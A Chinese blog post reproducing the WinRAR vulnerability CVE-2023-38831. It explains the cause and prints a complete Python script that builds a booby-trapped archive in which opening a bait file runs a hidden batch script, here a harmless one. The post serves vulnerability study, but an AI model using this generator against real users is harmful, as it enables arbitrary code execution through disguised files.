首页 > 其他分享 >CVE-2023-38831 WinRAR漏洞复现

CVE-2023-38831 WinRAR漏洞复现

时间:2023-12-08 14:16:15浏览次数:24  
标签:文件 BAIT NAME 38831 TEMPLATE 2023 CVE os

背景

2023年10月,在研究 DarkMe 恶意软件的传播时,Group-IB 威胁情报单位在 WinRAR 处理 ZIP 文件格式时遇到了一个以前未知的漏洞。通过利用该程序中的漏洞,威胁行为者能够制作 ZIP 存档,作为各种恶意软件系列的载体。武器化的ZIP档案在交易论坛上分发。一旦提取并执行,该恶意软件允许威胁行为者从经纪人账户中提取资金。该漏洞自2023年4月起被利用。

受影响的版本

https://avd.aliyun.com/detail?id=AVD-2023-38831

图源:https://avd.aliyun.com/detail?id=AVD-2023-38831

漏洞成因

·在zip文件格式中,使用了ZIPDIRENTRY结构体来管理压缩包内的文件和文件夹信息,包括名称、名称长度和修改日期等。WinRAR允许用户预览和执行压缩包内文件。但由于字符串比较代码的问题,当用户打开zip压缩包并执行文件时,WinRAR可能会错误地释放非用户所选的文件。
·WinRAR使用了ShellExecuteExW来启动目标文件,这是Windows系统的一个API函数,用于执行目标文件操作。然而,当文件路径字符串末尾存在空格时,该API会在路径末尾添加通配符“.*”并搜索匹配的文件来执行,导致了非目标文件的执行。

综上所述,这个漏洞的触发包含两个环节:
a.文件释放:由于文件名字符串的比较函数存在一定的问题,导致了非目标文件被释放;
b.文件执行:释放的文件经ShellExecuteExW执行,当路径字符串末尾有空格时,可能会导致路径下其他特定文件的执行。

漏洞详细成因请参考https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html

漏洞复现

EXP脚本cve-2023-38831-exp-gen.py

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

待执行命令 script.bat

@echo off
start "" "https://ys.mihoyo.com/"
start "" "https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default

创建诱饵文件test.png(可以是.txt .pdf等等)

将这三个文件放在同一个目录下,并在当前目录执行python cve-2023-38831-exp-gen.py test.png script.bat poc.rar获得验证文件poc.rar


打开poc.rar中的诱饵文件test.png


验证成功!

危害

可以让攻击者利用恶意的压缩文件在用户的电脑上执行任意代码,如跳转到钓鱼网站,危害用户的数据和隐私安全。

鸣谢

https://www.freebuf.com/vuls/376409.html
https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html

免责声明

本文只用作技术交流,请勿用于任何非法行为!!!!

标签:文件,BAIT,NAME,38831,TEMPLATE,2023,CVE,os
From: https://www.cnblogs.com/Kawakaze777/p/17884848.html

相关文章

  • 2023年,用友BIP持续发展 ,引领企业数智化
    2023年,人工智能、先进计算、数字孪生、区块链及元宇宙等数字技术推动新一轮科技革命和产业变革,全球范围加速由工业经济向数字经济转型。2023年,全球IT技术与产业的创新已从此前的以云计算为中心进入到以AI为中心的新阶段,商业创新也从此前的数字商业进入到数字化和智能化并重的全面数......
  • 2023最新中级难度JavaScript面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-中级难度JavaScript面试题合集问:如何实现在JavaScript中的操作settimeout/setinterval?在JavaScript中,setTimeout()和setInterval()是两个非常重要的函数,它们分别用于设置一次性延时执行的函数和周期性重复执行的函数。setTi......
  • 2023最新高级难度JavaScript面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-高级难度JavaScript面试题合集问:请问你如何使用装饰器模式?装饰器模式是一种设计模式,它允许我们在不修改原有类的基础上,动态地添加新的功能或者行为。装饰器模式通过创建一个新的对象来包装原始对象,并提供与原始对象相同的方法接口,但是......
  • 20231208练习
    【2022.12.30提高组模拟】依依寺(yiyi)ProblemDescription从前有个寺庙,名为依依寺。寺庙因《诗经.小雅》中的“昔我往矣,杨柳依依。今我来思,雨雪霏霏。“而得名。庙里有个老和尚和小和尚。老和尚叫章丘样,小和尚叫章扬扬。老和尚说“从前有个寺庙,名为依依寺。庙里有个老和尚和小......
  • 2023 年 12 月训练记录
    2023年12月训练记录怎么就寄了呢。没救了。不能再摆了。CF1824ELuoTianyiandCartridge我们对最小值做扫描线,现在就转化成了使得\(\sumb+\sumd\)最大。我们考虑点与边合法的充要条件。注意到假设有\(k\)个点,\(k-1\)条边,只要满足对于每条边的两部分都有点就是合......
  • 2023-2024-1 20211327 实验四 Web服务器2
    实验四Web服务器2Web服务器的客户端服务器web_server.c#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<arpa/inet.h>#definePORT8080#defineBUFFER_SIZE1024voidhandle_client(intclient_socket){......
  • 2023-2024-1 20211327 实验四 Web服务器1-socket编程
    实验四Web服务器1-socket编程time服务器的客户端服务器time_server.c#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<arpa/inet.h>#include<sys/socket.h>#include<sys/types.h>#include<s......
  • Idea2023.2连接数据库
    一、Idea实现连接MySQL数据库注意:在Jetbrains全家桶都适用。1.1.在Idea里打开1.2.设置基本信息1.3.测试注意:测试不通过查看问题二、Idea自带可视化工具操作三、问题3.1问题1简介:丢失MySQL驱动注意:Pycharm也是Jetbrains全家桶之一方式二解决下载驱动:https:......
  • 华秋DFM软件荣获2023年度电子信息行业可靠性质量提升典型案例
    在11月25日由中国电子信息行业联合会与盐城市人民政府联合主办的“2023中国电子信息行业发展大会”上,华秋DFM软件凭借其卓越的技术实力帮助电子制造产业质量提升,荣获了2023年度电子信息行业质量提升典型案例-可靠性质量提升奖项。这一荣誉是对华秋DFM软件在推动电子信息行业质量提......
  • 华秋喜获“2023深圳行业领袖企业100强”称号
    11月25日,由深圳市行业领袖企业发展促进会与深圳商报/读创共同主办的“2023深圳行业领袖企业100强”与“深圳未来行业领袖企业50强”颁奖典礼隆重举行。华秋以“电子产业一站式服务平台”的领先优势,荣获了“2023深圳行业领袖企业100强”的称号,再次证明了华秋在电子产业互联网赛道的......